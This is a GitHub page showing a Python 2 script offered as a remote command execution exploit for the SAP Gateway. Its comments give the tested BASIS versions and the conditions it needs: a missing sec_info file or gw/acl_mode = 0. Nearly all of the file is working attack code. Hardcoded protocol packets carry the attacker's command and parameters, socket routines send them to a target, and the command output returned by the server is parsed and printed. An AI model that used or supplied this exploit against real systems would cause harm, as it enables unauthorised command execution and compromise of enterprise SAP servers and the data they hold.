forked from chipik/SAP_GW_RCE_exploit
-
Notifications
You must be signed in to change notification settings - Fork 0
/
SAPanonGWv1.py
155 lines (122 loc) · 18.6 KB
/
SAPanonGWv1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#!/usr/bin/env python
# Dmitry @_chipik Chastuhin
# tested on SAP 700 sp5 <= BASIS <= SAP 731 SP 04
# exploit for SAP GW. Works when sec_info file doesn't exist and when gw/acl_mode = 0
import argparse
import socket
import re
def parse_args():
parser = argparse.ArgumentParser(description='[*] Hello, welcome to SAP GW exploit...')
parser.add_argument('-t', '--target', required=True, help='Target IP address')
parser.add_argument('-p', '--port', required=True, type=int, default='3300',
help='Target GW port number.Default 3300')
parser.add_argument('-c', '--cmd', help='Command name')
parser.add_argument('-v', '--verb', action='store_true', default=0, help='Enable verbose')
parser.add_argument('-o', '--old', action='store_true', help='Use when version of the GW ~640')
args = parser.parse_args()
return args
# parse input
args = parse_args()
def convert_ip(ip_1, ch):
for i in range((30 - len(ip_1) * 2) / 2):
ip_1 = ip_1 + ch
return ip_1
def iptohex(ip):
octets = ip.split('.')
hex_octets = []
for octet in octets:
if int(octet) < 16:
hex_octets.append('0' + hex(int(octet))[2:])
else:
hex_octets.append(hex(int(octet))[2:])
hex_octets = ''.join(hex_octets)
return hex_octets.decode('hex')
def net_get_ip():
return [(s.connect(('8.8.8.8', 53)),
s.getsockname()[0],
s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
opt_ip = net_get_ip()
# some optional ip in the first packet
hex_ip = opt_ip
# some optional ip in the second packet
hex_ip2 = opt_ip
targ2 = '10.10.10.10'
targ2_size = chr(len(targ2))
targ1 = convert_ip(args.target, '\x00')
exploit_p = [
"\x00\x00\x00\x40\x02\x03" + iptohex(
hex_ip) + "\x00\x00\x00\x00\x73\x61\x70\x67\x77\x30\x31\x00\x00\x00\x34\x31\x30\x33\x00\x00\x00\x00\x00\x00\x73\x61\x70\x73\x65\x72\x76\x65\x73\x61\x70\x67\x77\x30\x31\x20\x20\x20\x20\x20\x20\x20\x20\x20\x06\x0b\xff\xff\x00\x00\x00\x00\x00\x00",
"\x00\x00\x01\xA4\x06\xCA\x03\x00\x00\x13\xFF\xFF\x00\x00\x01\x00\x00\x00\x00\x00\xC0\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x01\x54\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x5F\x37\x35\x20\x20\x20\x20\x31\x37\x32\x2E\x31\x36\x2E\x30\x73\x61\x70\x78\x70\x67\x20\x20\x45\x02\x00\x00\x00\x00\xFF\xFF\x60\x00\x00\x00\x00\x00\x00\x00\x00\x0E\x02\x00\x00\x00\x00\xE8\x4D\x23\x00\xDF\x07\x00\x00\x01\x00\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x00\xFF\xFF\xFF\xFE\xFF\xFF\xFF\xFE\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + targ1 + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x53\x41\x50\x2A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + iptohex(
hex_ip2) + "\x00\x00\x00\x00\x73\x61\x70\x78\x70\x67\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00\x0A\x24\x06\xCB\x03\x00\x00\x13\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xF4\x00\x00\x00\x00\x00\x00\x08\x00\x00\x85\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x39\x33\x32\x30\x31\x38\x37\x35\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x01\x01\x00\x08\x01\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x03\x00\x04\x00\x00\x06\x1B\x01\x03\x01\x06\x00\x0B\x04\x01\x00\x03\x01\x03\x02\x00\x00\x00\x23\x01\x06\x00\x07\x00\x0F" + convert_ip(
targ2,
'\x20') + "\x00\x07\x00\x18\x00" + targ2_size + targ2 + "\x00\x18\x00\x08\x00\x11\x4E\x57\x37\x30\x33\x74\x72\x69\x61\x6C\x5F\x4E\x53\x50\x5F\x30\x30\x00\x08\x00\x11\x00\x01\x33\x00\x11\x00\x13\x00\x04\x37\x32\x30\x20\x00\x13\x00\x12\x00\x04\x37\x33\x31\x20\x00\x12\x00\x06\x00\x04\x54\x5F\x37\x35\x00\x06\x01\x30\x00\x08\x53\x41\x50\x4C\x53\x53\x58\x50\x01\x30\x01\x11\x00\x04\x53\x41\x50\x2A\x01\x11\x01\x14\x00\x03\x30\x30\x31\x01\x14\x01\x15\x00\x01\x45\x01\x15\x00\x09\x00\x04\x53\x41\x50\x2A\x00\x09\x01\x34\x00\x03\x30\x30\x31\x01\x34\x05\x01\x00\x01\x01\x05\x01\x01\x36\x00\x25\x01\x00\x0C\x29\x00\x99\xD0\x1E\xE3\xA0\xBA\x9A\xEC\xEA\x55\x80\x0A\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x01\x01\x36\x05\x02\x00\x00\x05\x02\x00\x0B\x00\x03\x37\x33\x31\x00\x0B\x01\x02\x00\x15\x53\x41\x50\x58\x50\x47\x5F\x53\x54\x41\x52\x54\x5F\x58\x50\x47\x5F\x4C\x4F\x4E\x47\x01\x02\x05\x03\x00\x00\x05\x03\x01\x31\x00\xE6\x2A\x54\x48\x2A\x03\x00\xE6\x00\x00\x4E\x53\x50\x2F\x4E\x57\x37\x30\x33\x74\x72\x69\x61\x6C\x5F\x4E\x53\x50\x5F\x30\x30\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x01\x53\x41\x50\x2A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x53\x4D\x34\x39\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x01\x4E\x53\x50\x2F\x4E\x57\x37\x30\x33\x74\x72\x69\x61\x6C\x5F\x4E\x53\x50\x5F\x30\x30\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x33\x37\x44\x35\x38\x31\x45\x33\x38\x38\x39\x41\x46\x31\x36\x44\x41\x30\x30\x41\x30\x30\x30\x43\x32\x39\x30\x30\x39\x39\x44\x30\x30\x30\x31\x00\x01\x00\x0C\x29\x00\x99\xD0\x1E\xE3\xA0\xBA\x9A\xEC\xEA\x55\x80\x0A\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x01\x00\x00\x00\xE2\x2A\x54\x48\x2A\x01\x31\x05\x14\x00\x10\xE3\x81\xD5\x4E\xF6\x09\x19\xF1\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x05\x14\x04\x20\x00\x04\x00\x00\x00\x00\x04\x20\x05\x12\x00\x00\x05\x12\x02\x05\x00\x06\x43\x4F\x4E\x56\x49\x44\x02\x05\x02\x05\x00\x08\x53\x54\x52\x54\x53\x54\x41\x54\x02\x05\x02\x05\x00\x05\x58\x50\x47\x49\x44\x02\x05\x02\x01\x00\x07\x45\x58\x54\x50\x52\x4F\x47\x02\x01\x02\x03\x00\x80\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x02\x03\x02\x01\x00\x0B\x4C\x4F\x4E\x47\x5F\x50\x41\x52\x41\x4D\x53\x02\x01\x02\x03\x04\x00\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x02\x03\x02\x01\x00\x06\x50\x41\x52\x41\x4D\x53\x02\x01\x02\x03\x00\xFF\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x02\x03\x02\x01\x00\x0A\x53\x54\x44\x45\x52\x52\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x4D\x02\x03\x02\x01\x00\x09\x53\x54\x44\x49\x4E\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x52\x02\x03\x02\x01\x00\x0A\x53\x54\x44\x4F\x55\x54\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x4D\x02\x03\x02\x01\x00\x08\x54\x45\x52\x4D\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x43\x02\x03\x02\x01\x00\x09\x54\x52\x41\x43\x45\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x36\x02\x03\x03\x01\x00\x03\x4C\x4F\x47\x03\x01\x03\x30\x00\x04\x00\x00\x00\x01\x03\x30\x03\x02\x00\x08\x00\x00\x00\x80\x00\x00\x00\x00\x03\x02\x01\x04\x01\x16\x10\x04\x02\x00\x0C\x00\x01\x87\x68\x00\x00\x04\x4C\x00\x00\x0B\xB8\x10\x04\x0B\x00\x20\xFF\x7F\xFA\x0D\x78\xB7\x37\xDE\xF6\x19\x6E\x93\x25\xBF\x15\x93\xEF\x73\xFE\xEB\xDB\x51\xED\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x04\x04\x00\x08\x00\x16\x00\x07\x00\x10\x00\x07\x10\x04\x0D\x00\x10\x00\x00\x00\x27\x00\x00\x01\x0C\x00\x00\x00\x35\x00\x00\x01\x0C\x10\x04\x16\x00\x02\x00\x11\x10\x04\x17\x00\x02\x00\x22\x10\x04\x19\x00\x02\x00\x00\x10\x04\x1E\x00\x08\x00\x00\x03\x67\x00\x00\x07\x58\x10\x04\x25\x00\x02\x00\x01\x10\x04\x09\x00\x03\x37\x32\x30\x10\x04\x1D\x00\x01\x30\x10\x04\x1F\x00\x28\x57\x69\x6E\x64\x6F\x77\x73\x20\x37\x20\x50\x72\x6F\x66\x65\x73\x73\x69\x6F\x6E\x61\x6C\x20\x36\x2E\x31\x20\x28\x37\x36\x30\x31\x29\x20\x53\x65\x72\x76\x69\x63\x10\x04\x20\x00\x12\x49\x45\x20\x39\x2E\x31\x30\x2E\x39\x32\x30\x30\x2E\x31\x36\x36\x31\x38\x10\x04\x21\x00\x09\x4F\x66\x66\x69\x63\x65\x20\x31\x32\x10\x04\x24\x00\x08\x00\x00\x04\x1A\x00\x00\x07\x80\x10\x04\x13\x00\x23\x02\xE1\xD4\x81\xE3\x0B\x21\xF1\x01\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x01\x37\xD5\x81\xE3\x88\x9A\xF1\x6B\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x01\x04\xFF\xFF\x00\x00\xFF\xFF\x00\x00\x09\xCC\x00\x00\x6D\x60",
"\x00\x00\x02\x31\x06\xCB\x03\x00\x00\x13\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xF4\x00\x00\x00\x00\x00\x00\x08\x00\x00\x85\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x39\x33\x32\x30\x31\x38\x37\x35\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x01\x36\x00\x25\x01\x00\x0C\x29\x00\x99\xD0\x1E\xE3\xA0\xBA\x9A\xEC\xEA\x55\x80\x0A\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x02\x01\x36\x05\x02\x00\x00\x05\x02\x00\x0B\x00\x03\x37\x33\x31\x00\x0B\x01\x02\x00\x0E\x53\x41\x50\x58\x50\x47\x5F\x45\x4E\x44\x5F\x58\x50\x47\x01\x02\x05\x03\x00\x00\x05\x03\x05\x14\x00\x10\xE3\x81\xD5\x4E\xF6\x09\x19\xF1\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x05\x14\x04\x20\x00\x04\x00\x00\x00\x00\x04\x20\x05\x12\x00\x00\x05\x12\x02\x05\x00\x08\x45\x58\x49\x54\x43\x4F\x44\x45\x02\x05\x02\x05\x00\x08\x45\x58\x49\x54\x53\x54\x41\x54\x02\x05\x03\x01\x00\x03\x4C\x4F\x47\x03\x01\x03\x30\x00\x04\x00\x00\x00\x01\x03\x30\x03\x02\x00\x08\x00\x00\x00\x80\x00\x00\x00\x00\x03\x02\x01\x04\x01\x16\x10\x04\x02\x00\x0C\x00\x01\x87\x68\x00\x00\x04\x4C\x00\x00\x0B\xB8\x10\x04\x0B\x00\x20\xFF\x7F\xFA\x0D\x78\xB7\x37\xDE\xF6\x19\x6E\x93\x25\xBF\x15\x93\xEF\x73\xFE\xEB\xDB\x51\xED\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x04\x04\x00\x08\x00\x16\x00\x07\x00\x10\x00\x07\x10\x04\x0D\x00\x10\x00\x00\x00\x27\x00\x00\x01\x0C\x00\x00\x00\x35\x00\x00\x01\x0C\x10\x04\x16\x00\x02\x00\x11\x10\x04\x17\x00\x02\x00\x22\x10\x04\x19\x00\x02\x00\x00\x10\x04\x1E\x00\x08\x00\x00\x03\x67\x00\x00\x07\x58\x10\x04\x25\x00\x02\x00\x01\x10\x04\x09\x00\x03\x37\x32\x30\x10\x04\x1D\x00\x01\x30\x10\x04\x1F\x00\x28\x57\x69\x6E\x64\x6F\x77\x73\x20\x37\x20\x50\x72\x6F\x66\x65\x73\x73\x69\x6F\x6E\x61\x6C\x20\x36\x2E\x31\x20\x28\x37\x36\x30\x31\x29\x20\x53\x65\x72\x76\x69\x63\x10\x04\x20\x00\x12\x49\x45\x20\x39\x2E\x31\x30\x2E\x39\x32\x30\x30\x2E\x31\x36\x36\x31\x38\x10\x04\x21\x00\x09\x4F\x66\x66\x69\x63\x65\x20\x31\x32\x10\x04\x24\x00\x08\x00\x00\x04\x1A\x00\x00\x07\x80\x10\x04\x13\x00\x23\x02\xE1\xD4\x81\xE3\x0B\x21\xF1\x01\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x01\x37\xD5\x81\xE3\x88\x9A\xF1\x6B\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x01\x04\xFF\xFF\x00\x00\xFF\xFF\x00\x00\x01\xD9\x00\x00\x6D\x60"]
def run_cmd(): # execute cmd on the victim server
print "[*] sending cmd:" + args.cmd
if args.old:
return RCE_gw_for_old_sustems() # via gateway for old systems
return RCE_gw() # via gateway
def RCE_gw(): # RCE via GW
c = args.cmd.split()
param = args.cmd[len(c[0]) + 1:]
cmd = c[0]
result = exploit(cmd, param)
if args.verb:
print "[DBG] Run command:" + cmd + " " + param
print "[*] Command result:" + trim_r(result)
return trim_r(result)
def RCE_gw_for_old_sustems(): # RCE via GW for old systems ~640
param = ""
result = exploit(args.cmd, param)
if args.verb:
print "[DBG] Run command:" + args.cmd + " " + param
print "[*] Command result:" + trim_r(result)
return trim_r(result)
def exploit(cmd, param): # create RCE request
tmp = exploit_p[2]
tmp1 = exploit_p[3]
tmp = tmp.replace("a" * 128, space_fill(cmd, 1)) # insert command
tmp = tmp.replace("b" * 255, space_fill(param, 2)) # insert param
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((args.target, args.port))
send_req(s, exploit_p[0])
conversation = re.search(ur"\d{8}", send_req(s, exploit_p[1]))
send_req(s, tmp.replace("93201875", conversation.group()))
result = send_req(s, tmp1.replace("93201875", conversation.group()))
s.close()
return result
def trim_r(str): # trim a trash form the server response
str_begin = str.find("\x02\x03\x04\x00") + 5
str_end = str.find("\x20\x03\x04\x03\x36")
if str_begin < 20:
if args.verb:
print "[!] Packet compression. Not supported."
return ''
if str_begin == -1:
print "[!] Problem with server response parsing."
print "[!] It's probably a size issue and server compressed it."
return ''
if str_end == -1:
print "[!] End marker not detected. Cutting at the end."
return str[str_begin:].replace('\x20\x03\x04\x03\x04\x00', '\n')
return str[str_begin:str_end].replace('\x20\x03\x04\x03\x04\x00', '\n')
def send_req(s, message): # send requests
MESSAGE = message
s.send(MESSAGE)
data = s.recv(8192)
if args.verb == 1:
print "[DBG] Received data:", data
return data
def space_fill(inpt, what): # fill packets by \x20
cmd_name_buff = 128
param_buff = 255
if what == 1: # cmd name
nop_cnt = cmd_name_buff - len(inpt)
inpt = inpt + nop_cnt * "\x20"
return inpt
elif what == 2: # param
nop_cnt = param_buff - len(inpt)
inpt = inpt + nop_cnt * "\x20"
return inpt
print run_cmd()